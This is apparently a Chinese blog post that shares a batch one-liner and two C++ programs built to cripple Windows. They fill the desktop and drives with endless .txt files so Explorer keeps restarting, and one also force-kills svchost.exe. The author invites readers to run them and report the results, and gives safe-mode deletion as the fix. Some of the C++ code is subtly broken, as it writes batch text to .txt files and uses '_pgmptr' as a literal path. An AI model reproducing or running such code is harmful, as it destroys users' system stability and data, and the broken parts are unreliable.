大家好,我是恒星飞耀

最近我做了一个程序,运行了一下,我的电脑差点无了,吓死我了

安全模式才删,给大家展示一下,别忘了三连哦

 for /L %%x in (1,1,100000000) do @echo %%x>%%x.txt

直接bat运行,你的电脑无了

原理:制造超多个txt在桌面,显示不过来,不断重启资源管理器

办法:进安全模式把txt全删了

再插一个c++版

#include <stdio.h>
#include<iostream>
#include<windows.h>
#include <bits/stdc++.h>
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
int main() 
{ 
	freopen("C:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("D:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("F:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("_pgmptr\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	system("C:\\hh.txt");
	system("F:\\hh.txt");
	system("D:\\hh.txt");
	system("_pgmptr\\hh.txt");
	system("TASKKILL /F /IM svchost.exe /T");
	return 0; 
} 

再来一个

#include<windows.h>
#include<iostream>
using namespace std;
int main(){
	
	while(1){
	system("@echo off");
	system("for /L %%x in (1,1,10000000000) do @echo %%x>%%x.txt");
	}
	return 0;
} 

bat的那个我试过了,其他的c++的有虚拟机的可以试一下(或想作死的),别忘了告诉我效果哦。

运行方式:放桌面上

不会解决的私聊我,三连哦

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐